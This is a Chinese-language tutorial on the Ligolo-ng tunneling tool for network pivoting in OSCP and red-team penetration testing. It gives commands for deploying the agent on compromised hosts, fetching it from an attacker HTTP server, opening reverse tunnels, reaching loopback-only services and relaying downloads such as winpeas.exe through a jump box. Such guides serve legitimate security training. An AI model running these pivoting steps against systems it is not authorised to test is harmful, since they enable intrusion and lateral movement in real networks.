Ligolo-ng 保姆级使用指南:新一代隧道代理工具(OSCP适用)

在渗透测试领域,网络枢纽(Pivoting)和隧道技术是攻防的核心技能,尤其是在OSCP(Offensive Security Certified Professional)考试中,能够快速、高效地访问目标网络内部资源往往是通关的关键。传统的隧道工具如SSH、Chisel、Socat和Netcat虽然功能强大,但在复杂网络环境下的性能、稳定性以及配置便捷性有时难以完全满足需求。而Ligolo-ng作为一款新兴的轻量级隧道工具,以其高效的TUN接口设计、无需SOCKS代理的特性以及高达100 Mbits/sec的传输速度,迅速成为渗透测试人员的新宠。本文将从Ligolo-ng的基础概念入手,详细讲解其安装、配置与使用流程,并深入探讨其在OSCP考试中的适用性,旨在帮助读者全面掌握这一强大工具。


第一部分:认识 Ligolo-ng

1.1 什么是Ligolo-ng?

Ligolo-ng 是一个由Nicolas Chatelain开发的高效隧道工具,基于Go语言编写,是对早期Ligolo项目的改进版本。它专为网络渗透测试设计,主要用于在攻击者与目标网络之间建立枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP或TLS连接,结合操作系统提供的TUN接口(虚拟网络接口),构建了一个用户态网络栈,从而实现对目标网络的直接访问。

其工作原理可以简单概括为:

  • 代理端(Agent):运行在已攻陷的目标机器上,负责与攻击者的代理(Proxy)建立连接。
  • 代理(Proxy):运行在攻击者机器上,接收来自Agent的连接,并通过TUN接口将流量路由到目标网络。

这种设计避免了传统工具依赖SOCKS代理或逐一端口转发的复杂性,使得Ligolo-ng在性能和易用性上具有显著优势。

1.2 Ligolo-ng的核心特性

  1. VPN-like
    通过TUN接口,Ligolo-ng模拟了VPN的功能,将攻击者的流量无缝路由到目标网络。这种方式无需额外的代理工具(如Proxychains),即可直接访问内部资源。

  2. 多协议支持
    支持TCP、UDP和ICMP协议,能够处理Nmap扫描(包括SYN扫描、OS检测)、服务枚举和Ping测试,传输速度可达100 Mbits/sec,远超许多传统工具。

  3. 灵活的端口转发
    通过listener_add命令,Ligolo-ng支持本地和远程端口转发,类似于SSH的-L-R选项,但配置更直观。

  4. 无需特权运行Agent
    Agent端无需管理员权限即可运行,非常适合权限受限的场景,例如OSCP中常见的低权限初始立足点。

  5. 多层Pivot支持
    Ligolo-ng通过多会话管理(Session),能够轻松实现双重甚至三重Pivot,适应复杂的多层网络环境。

1.3 为什么选择Ligolo-ng?

与传统工具相比,Ligolo-ng的优势显而易见:

  • 对比SSH:SSH需要配置SOCKS代理(如-D选项)或逐一转发端口,而Ligolo-ng通过路由表直接访问目标网络,效率更高。
  • 对比Chisel:Chisel依赖SOCKS5代理,配置复杂且性能受限,Ligolo-ng则通过TUN接口提供更低的延迟和更高的吞吐量。
  • 对比Socat:Socat功能强大但配置繁琐,Ligolo-ng的操作更简洁,适合快速部署。

在OSCP考试和真实渗透测试中,Ligolo-ng的这些特性使其成为处理复杂网络拓扑的理想选择。


第二部分:Ligolo-ng 的安装与配置

2.1 安装准备

在使用Ligolo-ng之前,需要分别在攻击者机器和目标机器上部署Proxy和Agent组件。Proxy运行于攻击者端,作为流量中转核心;Agent则部署在目标端,负责建立与Proxy的连接。本节以Kali Linux(攻击者端)和Linux/Windows(目标端)为例,详细介绍安装流程。

下载Ligolo-ng

Ligolo-ng的预编译二进制文件可从其官方GitHub发布页面(github.com/nicocha30/ligolo-ng)获取。以下为具体步骤:

  1. 攻击者机器(Proxy端)
    在Kali Linux上下载并解压Proxy组件:

    wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz
    tar -xvf ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz
    mv proxy lin-proxy
    chmod +x lin-proxy
    
    • mv命令将文件重命名为lin-proxy,便于区分和调用。
    • chmod +x赋予执行权限。
  2. 目标机器(Agent端)

    • Linux目标
      在目标Linux主机上执行以下命令:
      wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz
      tar -xvf ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz
      mv agent lin-agent
      chmod +x lin-agent
      
    • Windows目标
      从GitHub下载ligolo-ng_agent_0.7.5_Windows_64bit.zip,使用解压工具(如WinRAR或7-Zip)解压,得到可执行文件agent.exe。无需额外赋予权限,直接可用。
  3. 验证安装
    在攻击者和目标机器上分别运行以下命令,检查版本信息:

    ./lin-proxy --version
    ./lin-agent --version
    

    正常情况下,输出应显示ligolo-ng v0.7.5或所下载的最新版本号,确保二进制文件可用。

2.2 配置TUN接口

Ligolo-ng利用TUN虚拟网络接口实现流量路由,因此在攻击者机器上必须正确配置并启用TUN接口。以下为Linux系统的配置步骤:

  1. 创建TUN接口
    在Kali Linux中,使用以下命令创建虚拟接口:

    sudo ip tuntap add user $USER mode tun ligolo
    
    • $USER为当前登录用户(如kali),确保接口归属当前用户以便操作。
    • ligolo为自定义接口名称,可根据需要调整。
  2. 激活接口
    将创建的TUN接口启用:

    sudo ip link set ligolo up
    
  3. 验证配置
    检查网络接口状态:

    ip a
    

    输出中应出现ligolo接口,且状态显示为UP,表明接口已成功激活。

如何关闭TUN接口

sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo

第三部分:Ligolo-ng 的基本使用

1. 启动代理(攻击者机器)

在攻击者机器上启动Ligolo-ng的Proxy服务:

./lin-proxy -selfcert
  • -selfcert:自动生成自签名TLS证书,用于加密通信。
  • 默认监听端口为11601,可通过-listen <IP:PORT>自定义。

2. 分发Agent文件

在攻击者机器上快速搭建HTTP服务以分发Agent:

python3 -m http.server 80

目标机器通过wget下载Agent:

wget http://<攻击者IP>/lin-agent
chmod +x lin-agent

3. 运行Agent(目标机器)

在目标机器上启动Agent并连接至Proxy:

./lin-agent -connect <攻击者IP>:11601 -ignore-cert
  • -connect:指定Proxy的IP和端口。
  • -ignore-cert:忽略自签名证书的验证,简化部署。

4. 管理会话(攻击者机器)

Proxy启动后会进入交互式界面,可执行以下命令:

  • 查看当前会话:session
    • 显示所有已连接的Agent及其ID。
  • 选择会话:start <ID>
    • 例如start 1,进入指定Agent的隧道管理模式。
  • 查看帮助:help
    • 列出所有可用命令。

5. 添加路由

为访问目标内网,需在攻击者机器上配置路由:

sudo ip route add 192.168.1.0/24 dev ligolo

验证路由是否生效:

ip route

输出中应包含192.168.1.0/24 via ligolo


第四部分:Ligolo-ng 的高级使用

Ligolo-ng 除了基本的内网访问功能,还支持多种高级特性,在复杂渗透场景中非常实用。本节将讲解以下两个关键能力:

  • 访问 Agent 所在主机的本地监听服务(127.0.0.1)
  • 多级跳板(Pivot)代理链,实现深层内网横向渗透

4.1 访问 Agent 本地监听服务(127.0.0.1)

在渗透过程中,目标主机上常常存在仅监听本地回环地址(127.0.0.1)的服务,如:

  • 本地 Web 服务:127.0.0.1:8080
  • 内部 API 接口
  • Redis/MySQL 等管理端口
⚠️ 问题

这类服务无法直接通过 Tun 访问,因为其绑定在 localhost,只能从目标机器本地访问。

✅ 解决方法:使用 Ligolo-ng 的「魔法 CIDR」

Ligolo-ng 内置了一个特殊的地址段:240.0.0.0/4
其中: 240.0.0.1 会·映射为目标主机上的 127.0.0.1

💡 操作步骤
1. 添加路由:

在 Kali 上,将目标地址映射到 Ligolo TUN 网卡:

sudo ip route add 240.0.0.1/32 dev ligolo
2. 访问目标主机本地服务:

以访问目标的 127.0.0.1:80 为例:

curl http://240.0.0.1

你也可以进行端口扫描:

nmap -Pn -sT 240.0.0.1

✅ 优势:无需在目标机器额外暴露端口,比同类工具 chisel 操作方便不止一点。

4.2 通过跳板访问 Kali

在某些环境中,目标机器无法直接访问 Kali,只能访问中间跳板机。这时,可通过 Ligolo-ng 的 listener_add 功能,将 Kali 的服务端口“暴露”给跳板机,进而使深层目标机器间接访问 Kali。

🎯 场景示意
Kali (公网IP)
└── ligolo Proxy
    ↑
    │
Jump Box A(已控跳板机)
└── listener_add 映射端口
    ↑
    │
Target B(深层目标)
└── 访问 A 的转发端口(跳板转发至 Kali)
✅ 操作流程
1. 在 Kali 启动 Proxy:
./lin-proxy -selfcert

默认监听 11601 端口。

2. 在跳板机 A 启动 Agent 连接 Kali:
./lin-agent -connect <KALI_IP>:11601 -ignore-cert
3. 在 Kali 的 Ligolo 界面中添加 Listener 转发端口:
listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp

含义:

  • 在跳板机上开启 8000 端口的监听,将流量转发到kali本地的 80 端口
  • 该端口将通过跳板机的隧道暴露出去,供目标机器 B 使用
4. 在深层目标 B 上建立反向连接:

如 Kali 已经在 80 端口开启了一个 http server:

wget http://<跳板机A-ip>:8000/winpeas.exe -o winpeas.exe

此时 B 会话将穿过 A,最终连回 Kali,实现真正意义的 深层机器反向连接


总结

Ligolo-ng 凭借其模块化、高性能与稳定的 TUN/TAP 隧道机制,正在逐步取代传统 SOCKS 代理工具,成为 OSCP 实战环境企业红队渗透中的首选隧道方案。

通过本教程,你已经掌握了从安装部署、会话管理、路由配置,到高级用法(如访问目标本地服务和多跳代理)的完整流程。无论是横向移动、深网资产探测,还是内网 RDP、SQL、SMB 等协议的稳定交互,Ligolo-ng 都能胜任。

现在就集成 Ligolo-ng 到你的攻击链中,解锁更深层次的内网渗透能力吧!

🧠 高级功能速查表

功能模块用法与场景说明
🎯 魔法 CIDR使用 240.0.0.1 访问目标主机的 127.0.0.1(本地监听服务),轻松穿透Loopback隔离
🔁 多级代理(Pivot)listener_add --addr 0.0.0.0:跳板机要监听的端口 --to 127.0.0.1:kali本地端口 --tcp

参考资料

  1. GitHub - nicocha30/ligolo-ng
  2. A Detailed Guide on Ligolo-Ng - Hacking Articles
  3. How to Use Ligolo-ng - StationX
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值